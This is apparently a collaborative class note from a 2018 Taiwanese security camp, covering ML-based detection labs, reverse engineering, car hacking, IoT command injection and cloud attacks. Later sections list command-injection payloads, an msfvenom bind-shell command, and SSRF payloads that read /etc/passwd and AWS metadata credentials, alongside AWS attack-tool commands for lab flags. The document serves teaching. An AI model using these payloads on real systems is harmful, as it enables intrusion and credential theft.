外星人
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights New
    • Engagement control
    • Make a copy
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Note Insights Versions and GitHub Sync Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Make a copy Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       Owned this note    Owned this note      
    Published Linked with GitHub
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    # AIS3 2018 南區共筆 官方網站 : https://ais3.org/ 聊天室 : https://bit.ly/2OoISSS ←看到最後 ```/*https://tlk.io/ais3-2018*/``` 北區共筆 : https://bit.ly/2uZ1zVg 中區共筆 : https://bit.ly/2OoISSS [TOC] ### 7/30 (一) 14:00 - 17:00 - 講師 : 陳仲寬 交通大學 BambooFox - Machine learning for security - Docker 教學 ``` # Start an interactive terminal in an exsiting docker. docker -it [docker_id] [binary] # List all docker IDs docker ps # Load a file into docker. docker load < [file] ``` - 架設jupyter notebook ``` # 講師的 docker image sudo docker pull bletchley/mlsec:ais3 # 先看有沒有load成功 sudo docker images # run起來 sudo docker run -it -p 8888:8888 bletchley/mlsec:ais3 bash # 進 docker 之後執行 jupyter notebook --allow-root ``` - Confusion Matrix - 如果想要判斷很多種病毒,rootkit...等 - 多種class的區分 - ROC曲線越靠近100%則越好(越貼左上) - False positive/false negative越高越好? - 防毒軟體會避免誤殺 - 高安全性環境寧可錯殺也不放過 - 根據環境設計要偏重False positive/false negative? - 近年有許多好用的工具Numpy tensorflow等 #### LAB 0-1 Payment Fraud - 打開mlsec/frauddetect/logistic-regression-fraud-detection.ipynb - One-hot-encoding - 值沒有任何意義,只作為種類之分,要轉成數字 - 把各類轉成欄位,有幾類就會新增幾欄 - 若太多欄位,就要評估有沒有用! ```python df=pd.get_dummies(df,columns=["paymentMethod"]) ``` - 做出train dataset和test dataset,先用train dataset訓練出model,再用test dataset測試訓練結果 ```python X_train, X_test, y_train, y_test = train_test_split(df.drop('label', axis=1), df['label'],test_size=0.33, random_state=17) ``` - 訓練:LogisticRegression ```python clf = LogisticRegression().fit(X_train, Y_train) y_pred = clf.predict(X_test) ``` 可以到[scikit-learn](http://scikit-learn.org)搜尋其他方法LogisticRegression只是其中一種 #### LAB 0-2 Anomaly Detection - mlsec/cpu_anomaly/arima-forecasting.ipynb - Arima algorithm 可以找出 - 資料有無cycle - 資料有無趨勢 - 資料長時間的偏移 - 直接run不用寫 - Machine Learning的問題 - Overfitting - 過適,model太會學了 - 不會變通 - 背考古題 - Underfitting - 不太會學的model - School of machine learning #### Symbolists 符號理論學派 - 所有的智慧可以被簡化成操縱符號,就像數學家求解方程式的過程, 是透過用其他表達式來替換表達式的方法。 - $2+\ 2=\ ?$ - $2+\ ?=\ 4$ - 蘇格拉底是人+人會死=? - 蘇格拉底是人+?=蘇格拉底會死 - 早期有人嘗試把人類的所有規則都定義來判斷 - Apriori Principle - Decision Tree - ID3 - Main loop: - A="Best" decision attribute for next node(挑最好的屬性 失敗就換下一層去判斷) - But which attribute is best to split on? - entropy in ML(計算亂度的工具) - $Entropy(S)\equiv-p_{\oplus}log_{2}p_{\oplus}-p_{\ominus}log_{2}p_{\ominus}$ - ![Graph](https://ramandeep2017.files.wordpress.com/2017/08/screenshot-from-2017-08-12-23-11-21.png?w=335) - Information Gain (衡量entropy的improvement) - entropy值越高代表資訊越不確定,越低代表結果越明確,分類後值越低代表分類的效果越好。 - 切了一刀之後entropy變好或變壞 選最好的那一刀 - ref : [圖解機器學習](http://www.r2d3.us/%E5%9C%96%E8%A7%A3%E6%A9%9F%E5%99%A8%E5%AD%B8%E7%BF%92%E7%AC%AC%E4%B8%80%E7%AB%A0/) #### LAB 1-2 Malware Classification - 已經features選好的dataset - mlsec/malware/malware-classification 1. 先看FileAlignment欄位在兩者中有無區別性 - 沒有 2. 再看SectionsMaxEntropy欄位在兩者中有無區別性 - 有 ```python plt.figure(figsize=(20,10)) plt.hist([legit_binaries['SectionsMaxEntropy'], malicious_binaries['SectionsMaxEntropy']],\ range=[0,8], normed=True, color=["green", "red"],label=["legitimate", "malicious"]) plt.legend() plt.show() ``` 3. 將不重要的欄位drop掉 ```python X = df.drop(['Name', 'md5', 'legitimate'], axis=1).values y = df['legitimate'].values ``` 4. 使用 ExtraTreesClassifier選好的features ```python # Build a forest and compute the feature importances - n_estimators:The number of trees in the forest. forest = ExtraTreesClassifier(n_estimators=10).fit(X, y) # Meta-transformer for selecting features based on importance weights. model = SelectFromModel(forest, prefit=True) X_new = model.transform(X) ``` - PS: 其他Algorithms ```python algorithms = { "DecisionTree": tree.DecisionTreeClassifier(max_depth=10), "RandomForest": ensemble.RandomForestClassifier(n_estimators=50), "GradientBoosting": ensemble.GradientBoostingClassifier(), "AdaBoost": ensemble.AdaBoostClassifier(), "GNB": naive_bayes.GaussianNB() } ``` #### Analogizers 類比推理學派 - Regression - Linear Regression - Polynomial Regression - Model Optimazation - Gradient Descent - 嘗試將error圖畫出來 沿著梯度下降,一路走到local optimal - 可配合模擬退火演算法 #### Lab 2-1 Linear Regression - /home/ml/Desktop/intro/00-linear-regression.ipynb - Repeat until convergence - $\theta_{j}:=\theta_{j}-\alpha\frac{1}{m}\sum_{i=1}^{m}(h_{\theta}x^{i}-y^{i})x_{j}^{i}$ #### Bayesians 貝氏定理學派 - 以機率為主 - 根據時間和證據 更新假設 - 根據新的資料調整可信度(先驗VS後驗機率) - ![塊陶](https://s0.wp.com/latex.php?latex=%5Cdisplaystyle++P%28B%7CA%29%3D%5Cfrac%7BP%28A%7CB%29P%28B%29%7D%7BP%28A%29%7D&bg=ffffff&fg=000000&s=0) #### LAB 3-1 Spam Filter - 寫分類找出垃圾郵件 - spam/spam-fighting-blacklist.ipynb - nltk: [Natural Language Toolkit](https://www.nltk.org/) - 用stopwords list去除掉太常出現的單字,e.g.:'the','is' - 抓出只出現在spam中的單字,去除掉好的Mail有的字 - spam/spam-fighting-naivebayes.ipynb - 用CountVectorizer()統計各單字出現的次數 - In [2] 記得路徑前面加 ```../``` #### Evolutionaries 演化論學派 - 物競天擇 - 常用在調整參數 或者 用在類神經網路的選層數架構 #### Connectionists 類神經網路學派 - Tensorflow - [理論影片](https://youtu.be/aircAruvnKk) #### Principle Component Analysis (PCA) - 降低維度 留下較有用的組合 - 找出資料中較重要的維度方向來表示 - [參考網頁](http://setosa.io/ev/principal-component-analysis/) #### LAB 6-1 XSS Detection - WAF - adversarial_learn/binary-classifier-evasion.ipynb - _coef,代表每個字受到不同係數影響的程度 > *Email : ckchen@cs.nctu.edu.tw* ### 7/31 (二) 09:30 - 12:30 - 講師 : 林昆立 TDOHacker - 逆向工程實務 - 投影片 : https://game.ntu.st/ais3-re-practice.pdf - 用virtualbox裝win7的看[這篇](http://blog.xuite.net/yh96301/blog/300232354-VirtualBox+4.3%E5%AE%89%E8%A3%9DWindows+7%E6%94%AF%E6%8F%B4DirectX+3D) - 開機後先到控制台移除VMtools - 之後虛擬機重開時按F8 選擇 安全模式開機 - 開啟VirtualBox選項Device->Insert Guest Additions CD image... - 打開Win7裡的 光碟機 執行 VBoxWinodwsAdditions.exe - 安裝時 有一個地方要記得打勾安裝 Direct3D support - 裝好後關機 - 到virtualbox設定虛擬機->顯示->底下的2D 3D加速打勾 - 開機 完成 - cheat engine: ctrl+g 跳到指定的記憶體位址 - 要建立範例程式編譯時要用的CL要在開始菜單中打開Microsoft Visual Studio 2017->Visual Studio Tools->Visual Studio命令提示(2017),之後才能使用CL編譯程式,不然要自行添加Visual Studio環境變數也可以。 - [x64dbg](https://x64dbg.com/) - 在指令上按兩下/按Space,可以更改組合語言 - 在暫存器上按兩下可以直接更改暫存器的值 - [movfuscator](https://github.com/xoreaxeaxeax/movfuscator) - 原理可以參考數位邏輯電路 - Function call - ebp會定在一個地方 - esp會亂跑 - Calling converting(i.e.ABI) - 基本上回傳都放到eax rax - 但是傳入參數到function就不一樣了(各家都不同) - stdcall in 32bits - 參數逆序push進堆疊 - return後,由被呼叫函數清除堆疊上的參數 - Windows預設用這個 - 64bits Linux - 參數依序放進RDI,RSI,RDX,RCX,R8,R9 - 參數超過六個就放堆疊 - return後,由call的那一方清除堆疊上的參數 - 方便找到main的位置 ```c print(“main function at %p\n”, &main); ``` - Control flow - cmp會將相減的結果記錄在EFLAGS裡 - ref : http://unixwiz.net/techtips/x86-jumps.html - JA JB用於無號數 JG GL則是有號數 - 往後跳躍通常是 if 往前跳躍則是loop - 從 1 加總到 10: - Code ```c #include <stdio.h> int main() { int sum = 0; for (int i=1; i<=10; i++) { sum += i; } printf("1 + ... + 10 = %d\n", sum); } ``` - 編譯好進 IDA Free (新版只支援 64-bit) - Shift+F12 進 Strings - 找到 "1 + ... + 10 = %d\n" 字串點兩下進去 - 按 Ctrl+X 就可以追進被參照的地方 (List cross reference) - 就可以看到程式的流程 - x64dbg cheet sheet - Ctrl-F2: 重新執行被debug程式 - F7: step in - F8: step over - F9: continue - Ctrl-G: jump to - IDApro cheet sheet - 待補 - IDA Pro 在處理有不定數量參數的function可能會有問題 - 脫殼 - 找OEP(original entry point) - Memory dump - 軟體保護 : 讓破解成本遠高於獲得利益 - CheatEngine - 有關的資料會放在附近 - https://game.ntu.st/ ### 7/31 (二) 14:00 - 17:00 - 講師 : Asuka Nakajima NTT - Reverse Engineering Dojo: Enhancing Assembly Reading Skills - ==**Ultimate goal: Human Decompiler**== - x86 Assembly basic - ![registers](https://i.stack.imgur.com/M2kTF.png =400x) - function call(cdecl) ```asm #function(1,2,3) push 0x3 push 0x2 push 0x1 call function add esp, 0xc #caller cleans stack ``` - function call(gcc) ```asm #function(1,2,3) mov DWORD PTR[esp+0x8],0x3 mov DWORD PTR[esp+0x4],0x2 mov DWORD PTR[esp],0x1 call function ``` - stack frame(上面才是stk底部) |content|pointer|stackframe| | ------ | ----|---| |傳入參數(RTL)||caller| |return address||callee| |saved BP(main)|<-ebp|callee| |local variable||callee| ||<-esp| - C++ RE basic - Local - Before the member function is called, "this" was passed. ```asm lea ecx, [ebp+foo] #this ``` - Constructor - 先call new, 再call constructor - Destructor - 先call destructor, 再call delete - 繼承 - 子類別會call父類別的constructor - Virtual function - Vtable pointer added as a hidden member - Vtable - Array of function pointer which is decleared as a virtual function > [Reverse Engineering Dojo 解答](https://drive.google.com/file/d/0B0SJYWv42YJAVHJ2cVZFcVdZQkE/view),答案是前年的,可能有些為不同 > *Email: nakajima.asuka@lab.ntt.co.jp* ### 8/1 (三) 09:30 - 12:30 - 講師 : 叢培侃 奧義智慧科技 - 基礎汽車網路安全研究 - 投影片From Cyber Security to Car Hacking.pdf - 密碼:car101 - 原廠要診斷車子的時候會接到OBDII - 大多位於方向盤下面 - OBD汽車的診斷系統 - ECU是車子的電腦 - 汽車設備通常走CAN Bus - CAN bus概念類似TCP/IP - UDS 概念類似Http (application layer) - ECO很便宜,可以買來玩玩(去汽車殺肉場越重越貴) - 頻寬大的走Ethernet/FlexRay/MOST - 頻寬小的走LIN/CAN - 馬力可用參數改(? - Keyless可以用訊號延伸來解 - 無法針對keyless作重送攻擊 - 所有的驗證都在Transponder裡 - 常見keyless演算法: megamos/hitag/DST-40 - IVI(多媒體載具)最多人研究的,最常能連上Ethernet的載具 - 歐洲車安世界第一XD - CAN(Controller Area Network)就是扭起來的雙絞線 - 差動傳輸 - 傳輸速度慢 - 抗干擾才扭起來 --- ![](https://upload.wikimedia.org/wikipedia/commons/thumb/5/5e/CAN-Bus-frame_in_base_format_without_stuffbits.svg/709px-CAN-Bus-frame_in_base_format_without_stuffbits.svg.png) - Arbitration ID越小越先被處理,可被偽造 - 一個封包8byte - 重點在於如何將CAN訊號整理解析 重點不是用什麼設備收訊號 - 用一個叫ECOM的線 大概5千多 - ECOM有很好的library,可以做很多事情 - 或者 ValueCan 賣的是他的軟體 - 還有 Universal ECU Bench Cable - 有多條線可以直接插到ECU上 - UDS有定義許多方法 有規範ECU的安全 - [UDS定義](https://en.wikipedia.org/wiki/Unified_Diagnostic_Services) - 0x27類似linux上的su - SEED有4byte - SEED驗證在backend - UDS Hijacking用現有的session取得access level - 目前比較可行的方式是對ECU firmware做逆向工程 - Firmware有Tuning protection - 解法: BSL booting mode - Bootloader從CAN bus傳入 - Bootpin接$5\Omega$接地 ### 8/1 (三) 14:00 - 17:00 - 講師 : 劉建宗 安華聯網 - 軟體安全開發實務 - V2 password:Fqv$M;K[8&@-2Hm~ - V3 password:ZtA6t735ZH:D7S?r - V4 password:eDpYJbD},"*74?"W - 環境安裝 > 1.先將src資料夾內的.cpp檔案複製到CppUnitLite資料夾內 > 2.開啟DevCpp建立新project名字取CppUnitliteDev > 3.選擇Static Library > 4.對專案CppUnitliteDev按右鍵 > 5.將檔案加入專案 > 6.將CppUnitLite資料夾內的檔案全部加入專案 > 7.執行 --> 編譯 > 8.CppUnitliteDev資料夾內應該會出現CppUnitliteDev.a檔 > ref : [有圖文的教學 但是不完全正確](https://myweb.ntut.edu.tw/~yccheng/oop2009/Docs/DevC++%20and%20CPPUnitLite%20Guide_v1.pdf) or [中區筆記](https://hackmd.io/6nEH-jsZT56fOkL1_j2Upw?view#Unit-Test) - 接著打開V2專案 > 1.把CppUnitLite資料夾丟到V2資料夾內 > 2.專案p3-1右鍵 --> 專案選項 > 3.參數 --> Linker --> 新增程式庫或目的檔 > 4.加入剛剛產生的CppUnitliteDev.a檔 > 5.在main.cpp加入 `#include "CppUnitLite/TestHarness.h"` > 6.plamath.cpp也加入`#include "CppUnitLite/TestHarness.h"` > 7.把main.cpp裡的main function註解掉 > 8.加入以下main function ```cpp= int main() { TestResult tr; TestRegistry::runAllTests(tr); return 0; } ``` > 9.在playmath.cpp的最底部開始加入TEST function(中區筆記內容) ```cpp= TEST(Math, creation) { // 這個Math, creation的參數我不知道是什麼... // 各種TEST... } //Example. TEST(Math,creation){ string test = playMath("555+5*7"); LONGS_EQUAL(590,atoi(test.c_str())); } //把590改成其他數字 他就會跟你說這東西錯了 ``` #### 軟體安全分析 - 先確定程式的安全界線在哪裡 先畫一個範圍 你覺得這個範圍內不會造成程式的威脅 - 界限出來,interface出來,可能的漏洞就出來了 - 把可能的攻擊方法都列出來 一一驗證 - STRIDE ![](https://haiderm.com/wp-content/uploads/2017/10/stride.jpg) ### 8/2 (四) 09:30 - 12:30 - 講師 : 王歆綺 資策會 - 遠端注入與無檔案式攻擊技術 - [線上convert](http://www.unit-conversion.info/texttools/hexadecimal/) - xxd (~~XXD~~ - 將7檔案 用blockow.cmd變成shellcode之後(指令:blockow.cmd 7 會生成shellcode檔案) - 用IDA 和 Ollydbg打開shellcode檔案 - 發現sub_401088 function 在call windows API (5f327377h等) - 在sub_401088 function內 找出 call ebp的address 然後到ollydbg 下斷點 共有 3個call ebp 和 40107f的jmp eax - 然後多按幾次f9執行 會看到jmp eax那行 後面有個灰色的字 寫那個library的名字 找到ws2_32.bind 這個 library 再去找他的IP - 去google bind的windows API 會看到如簡報上所看到的code - 相關的參數會在堆疊上照順序存放 - 看到push一堆數字 就要懷疑是windows API - 然後又call ebp所以可能是執行API - 許多API在執行時需要參數 所以要看stack內容 才知道參數(listen port 等) - 資安高峰會的[openEMR漏洞解析](https://hackmd.io/_4_75fbzRL6n-kqcGk6KrA?view#OpenEMR-System%E6%BC%8F%E6%B4%9E%E6%8E%A2%E6%9E%90) ### 8/2 (四) 14:00 - 17:00 - 講師 : 劉作仁 安華聯網 - 連網裝置安全檢測 ![](https://i.imgur.com/rGToPRG.png) - Command injection - 嵌入式設備最常出現的問題是 command injection,而不是 sql injection - 需要注意對方 host 是什麼系統 - 常用 payload - ;command - && command - \`command\` (比較不容易被擋) - $(command) (比較不容易被擋) - 如果 "cmd1 && cmd2" 被擋,可用 || 代替,不過 cmd1 要為false - 容易被注入的功能: ping, ntp, dhcp - http://10.103.10.182/dvwa - [pentestmonkey](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet) - command injection 最常用的指令 reboot...可以很快知道該指令有沒有被執行成功 - 可用 ${IFS} 代替空白 <-- 要大寫(Internal Field Separator的縮寫) - 發現弱點 - 注入點 - 簡易測試指令 1. 時間伺服器 2. 防火牆設定 3. 網路設定 4. 網路診斷功能 5. 測試指令越簡單越好 6. 一個單字尤佳 - 繞過限制 - 防火牆阻擋 - 字串過濾或檢查 1. Clear Inbound Rules 2. Clear Outbound Rules 3. 系統保留字 4. No bash, only ash 5. 寫入 /tmp - 取得控制介面 - 主動連接 - 反向連接 1. 使用Telnet/SSH 2. 使用Netcat Listen Port 3. 製作新的Shell 4. 確認CPU架構 5. Metasploit快速上手 ``` #msfvenom --format elf --arch mipsle --platform linux --out mipsle.elf --payload linux/mipsle/shell_bind_tcp VAR1=VAL1 VAR2=VAL2 VAR3=VAL3 ``` Source:https://www.offensive-security.com/metasploit-unleashed/msfvenom/ - 許多嵌入式設備的指令都是由[busybox](https://busybox.net/)提供 - binwalk -Me <firmware_filename> - Firmware-Mod-Kit - 直接拆flash 再來把架構切出來 然後讀出他的程式 ```shell= apt-get install libglib2.0-dev libpixman-1-dev cd qemu-master;mkdir build;cd build ../configure --static --enable-debug --target-list=arm-linux-user,armeb-linux-user,mips-linux-user,mips64-linux-user,mips64el-linux-user,mipsel-linux-user #上面那行好像有問題 講師沒release slide所以不知道 make && sudo make install 7z x 3E7000.tar cp~/qemu/bulid/mipsel-linux-user/qemu-mipesl chmod +x bin/udps sudo chroot ..... ``` ### 8/3 (五) 09:30 - 12:30 - 講師 : 王凱慶 中華電信/中華資安國際 - 網站應用程式安全 雲端上常見的資訊安全問題 - 講師Email:[hi@kaiching.wang](hi@kaiching.wang) - 傳統環境與雲端環境 - [講師ㄉ部落格](https://blog.keniver.com/) - 傳統 - 以最低需求服務 - 雲端環境 - 高度變化 - 數不清的服務 - 簡單三步驟 1.看服務供應商手冊 2.覺得雲端很安全 3.告訴老闆客戶我們很安全 ![](https://i.imgur.com/OUok6ok.jpg) * 雲端環境下的資訊安全評估 - 其他可以考慮的議題 1. 浮動IP範圍 2. 服務是否暴露在PUBLIC環境 3. 系統弱點如何被patch的 4. 入侵系統後還能做什麼? 5. 網路架構是怎麼一回事? 6. 應用架構特性差異 - 雲端環境的差異 | 工作項目 | 傳統環境 | 雲端環境 | ------ | ------ | ------ | | 部署網站 | 上傳code | 上傳code | | 檔案儲存 | FTP/WebDav | S3 | 架設服務 | 自己裝 | IaaS/PaaS/SaaS | | 網路系統 | IT維護人員 |雲端管理 - 工作項目沒有太大的差別 - 網站弱點不管在雲端還是傳統環境差異不大 :::warning - :warning:在開始之前... - 先確保有獲得授權 - 請先進行系統備分與還原測試 - 不要在正式環境下使用auto function - 不小心撿到野生的資料請回保相關廠商 (怕被吉(告)的話請投到HITCON zeroday) ::: - EDOS ![](https://i.imgur.com/9LDfeSf.jpg) - 資訊蒐集 - IP舉例 - Amazon web ... - https://ip-ranges.amazonaws.com/ip-ranges.json - Google Cloud.... - IP列舉 - 掃描雲端廠商所有IP很慢 - DNS是好方向 - 網域列舉 - 搜尋引擎 - Crt.sh - PassiveDNS ```= 搜尋引擎 site:ais3.org (Google,bing,yahoo,百度,Yandex都用一次) **yandex-->找垃圾很威!google的俄羅斯版(? 網域列舉Crt.sh證書透明度查詢系統 僅有效憑證資訊可供查詢 **網站很不穩定,常出事(? ``` - 資訊蒐集 - 網頁列舉 - Crt.sh or 賽門鐵克 censys - 證書透明度查詢 - 僅有校憑證資訊可供查詢 (AIS3網站有藏很多flag,但是都沒人找到,管理人表示他很傷心QQ) - PassiveDNS - 紀錄曾經解析過的網域 - 分析網域過往行為 - Virustotal search - 搜尋 ais3.org,可以看到各種紀錄 - 網域列舉 - [DNSdumpser](https://dnsdumpster.com/) - [shodan](https://www.shodan.io/) - [censys](https://censys.io/) - [zoomeye](https://www.zoomeye.org/) - [Sublist3r](https://github.com/aboul3la/Sublist3r) (暴力破解用, 也是本好的字典) - CSP(contest Security Policy) - CSP用於指定網站資源的有效域,用於強化XSS攻擊的抵抗能力 - DNS相關攻擊 - 網域劫持 - 使用第三方服務(SaaS),使用CNAME綁定自家網域。 - 忘記移除DNS指向紀錄,但目標服務已經移除 - 攻擊者重新註冊該服務,獲取網域內容控制權 - 繞過CDN - 為什麼要繞過? - 有WAF - 繞過CDN - DDOS就打的到? - 容易Debug - **額外的注入機會** - AP通常是如何獲取使用者IP? - 使用CDN的AP要如何獲取真實IP? - 怎麼繞過 - 嘗試找舊的IP - 找尋報路在網站上的真實IP - [censys](https://censys.io/) - 尋找沒有受CDN保護的子網域 - 調整HTTP Referer - 觀察Header - 如何正確使用CDN - 使用安全通道 GRE tunnel or VPN - 僅允許CDN與AP進行連線 #### 練習題1 https://realme.0x61697333.cf (一個flag) http://a????????t.0x61697333.cf (1個flag)<--好像比較簡單(? http://ais3secret.0x61697333.cf/ - 題解 1.用Virustotal搜尋https://realme.0x61697333.cf 網址 ![](https://i.imgur.com/y2ujxG6.jpg) ![](https://i.imgur.com/qtgTN0q.jpg) 2.使用Chrome插件[Modify Headers](https://chrome.google.com/webstore/detail/modify-headers-for-google/innpjfdalfhpcoinfnehdnbkglpmogdihttps://chrome.google.com/webstore/detail/modify-headers-for-google/innpjfdalfhpcoinfnehdnbkglpmogdi)修改Headers ![](https://i.imgur.com/JwN6Npp.png) 3.再訪問[http://52.194.38.175/](http://52.194.38.175/)即得旗子:) - Cloud Storage Service - 資料儲存服務 - 透過API進行操作 - 雲端環境中的角色 - 資料長時間儲存 - 資料交換 - 儲存備份資料 - 最常見的安全問題 - 權限配置錯誤 - 被意外存取 - 網域劫持 - AWS S3 - 搜尋公開儲存空間 - [buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/) - 如何列舉目標S3 Bucket - 使用字典檔 - 如何生成字典檔 - 手動產生 - 公司名稱 - Bucket Name具有唯一性 - 網址格式 - [Bucket name].地區.amazonaws.com - 地區.amazonaws.com/[bucket name] ![](https://i.imgur.com/VDqLn8C.jpg) >下面沒看到QQ > >GG > 只好參考其他區的共筆 - [AWSBucketDump](https://github.com/jordanpotti/AWSBucketDump) - 全自動列舉公開的AWS S3 - 自動下載有興趣的檔案 python AWSBucketDump.py -l 字典檔 -g 關鍵字 -D.....QQ -m 檔案尺寸限制 -t 執行緒 #### 練習題2 - s3 bucket有一個ais3相關的bucket(1個flag) ```shell= echo "ais3/flag" > keyword python3 AWSBucketDump.py -l BucketNames.txt -g keyword -t 2 ``` - http://gallery.0x61697333.cf (2個flag)(亂碼的話 這站是UTF8) 1. 看看2016 2017的圖片path 把網域名稱 改成2015 2. 有 asset-production 不試試看 asset-test 嗎? - Hint - 檔案關鍵字:ais3/flag ``` ais3 flag ``` - 迷你字典檔:https://pastebin.com/75SauPid - Load Balancer - Load Balancer的用途 - 附載平衡 - 動態增減服務主機 - Load Balancer的安全風險 - 部屬源汙染 - 探索服務汙染 - 經濟攻擊 ex:consul這服務探索 - AMI Market - AMI封裝方式 - 主系統(加密) - 儲存區 - 那個神祕的主系統.... - 網路控管 - 使用Security Group - CloudMapper - 視覺化網路連接狀況 > 初學者推薦使用 GCP (Google Cloud Platform) #### SSRF 伺服器端服務請求偽造 - SSRF的攻擊面 - 借刀殺人 (ex:google robot) - 探索內部服務(Port Scan) - 攻擊內部服務(Struct2,Redis,ElasticSearch...) - 讀取本機端檔案(/etc/passwd...) - 識別服務光價/架構(Banner) - 什麼地方會出現SSRF? - 能夠發起網路請求的地方 - 呼叫其他服務 - 請求遠端資源(下載檔案、快取) - 服務內建功能(Oracle,MSSOL,CouchDB...) - 文件處理(ffmpeg, ImageMagic, Doc, Xlsx, PDF, XML) (ex:利用excel的公式請求檔案) - 其他漏洞利用(Command Injection, SQLi, XSS, SSTI) (建議多看SSTI的漏洞,考試會考) - 神奇服務 - Splash: Javascript Render Service - 爬蟲會用到的工具 - 可以 GET/POST 還可以修改Header - 運行方法 ``` docker run -p 8050:8050 -p 5023:5023 scrapinghub/splash ``` 多多尋找8050, 5023port - 可利用協議 - Http/Https - Gopher - File - Dict * 常見的可利用服務 - ElasticSearch (大家常把他當DB用,各種隱私資料(?)) - CouchDB - Redis --- #### 練習3 - http://ssrf01.0x61697333.cf (1個flag) - 內建: Elastic Search (1個flag) - Ubuntu 14.01 + Nginx (預設路徑) - 題解 * Payload * file:///etc/nginx/sites-enabled/default * file:///meow/ais3/index.php * http://0:9200/_search * 可利用協議 * Http/Https * http://127.0.0.1:8080 * Gopher * gopher://127.0.0.1:6378/_get * File * file:///etc/passwd * Dict * dict://127.0.0.1:8379/hello:world * Elastic Search * http://0:9200/_search --- - 保護繞過 - HTTP 302 重新導向 - Location - 任意變形 - IP變形 - 127.0.1 - 127.0x0.0x00.1 - 127.0.0.1==>http: -http://0//(?) dig 8.8.8.8.nip.io - DNS Rebind - 檢查與請求結果不一致 ```shell A.1.1.1.1.1time.127.0.0.1.1time.repeat.rebind.network ``` - 解析不一致(一個網址各自表述) - 什麼是MetaData的IP位置? - WeirdAAL (AWS Attack Library) - 專門設計來攻擊AWS Service :::warning :warning: Py3才可以用喔 ::: ```shell= git clone https://github.com/carnal0wnage/weirdAAL cd weirdAAL pip3 install -r requirements.txt python3 create_dbs.py ``` .env 補上 aws_session_token = <insert token> --- #### 練習4 http://ssrf10.0x61697333.cf (3個flag) - 題解 - http://169.254.169.254.nip.io/latest/meta-data/iam/security-credentials/MagicAIS3 - 去meta-data參觀 - 去user-data參觀 通常會有敏感資訊(? - python3 weirdAAL.py -m recon_all -t demo - S3 - python3 weirdAAL.py -m s3_list_buckets -t yolo - python3 weirdAAL.py -m s3_list_bucket_contents -a "ais3-flag-box" -t yolo - python3 weirdAAL.py -m s3_download_file -a 'ais3-flag-box','ais3-flag.txt' -t yolo --- > index 用法看一下喔 下標不是兩個-- > 好喔,我只是方便點暫時OAO > 這效率真高啊XD > 好棒!XD > 大家負責一行XD ### 南區-討論區 > 我不太會用這格式調整QQ > Tab + shift Tab > 誰可以把剛剛的網站用個連結上去R? > [文字這邊](連結放這) > 喔喔!謝大大 > 詳情請參閱[這個](https://hackmd.io/s/E1UakUq8) (? > 投影片的圖片怎麼用上這裡阿? > 直接拉就好 hackmd 很友善會幫你丟imgur > > 傻眼XD > 難怪木棍有發文過ww 當時還不知道是三小 > 484各種這類活動的網站都有彩蛋啊?XD > 聽說TDOH conf今年的網站有埋(彩蛋),但只是一張有趣的東西 > 有人打內容有調整格式這樣好像比較有效率(? > 格式需要調整嗎 不是邊打就條好了(? --- ### 8/3 (五) 14:00 - 17:00 - 講師 : 鄭朱弘毅/林政君 趨勢科技 - 先進資安防護技術 & 實例:AI/IOT - 基礎資安教育訓練:網頁 & IOT (TMSAT) * Mirai開源網址: * https://github.com/jgamblin/Mirai-Source-Code >沒有人寫共筆ww >:cat: >:cat::cat: >:cat::cat::cat: >等等有好玩的遊戲 >~~強制沖水~~ >~~一言不合就幫你洗屁股~~ >~~一言不合就幫你買冰箱食物~~ >~~駭客格格 算我便宜一點拉><~~ >駭客: 抱歉我高估了臺灣的消費能力 <- 聽起來超悲傷的QQ QQ >~~一言不和就幫你打豆漿~~ ~~原來是駭客家政婦啊~~ >~~快睡著~~ > > 講者的聲音語調有點安詳 >~~我都念ㄇㄧ 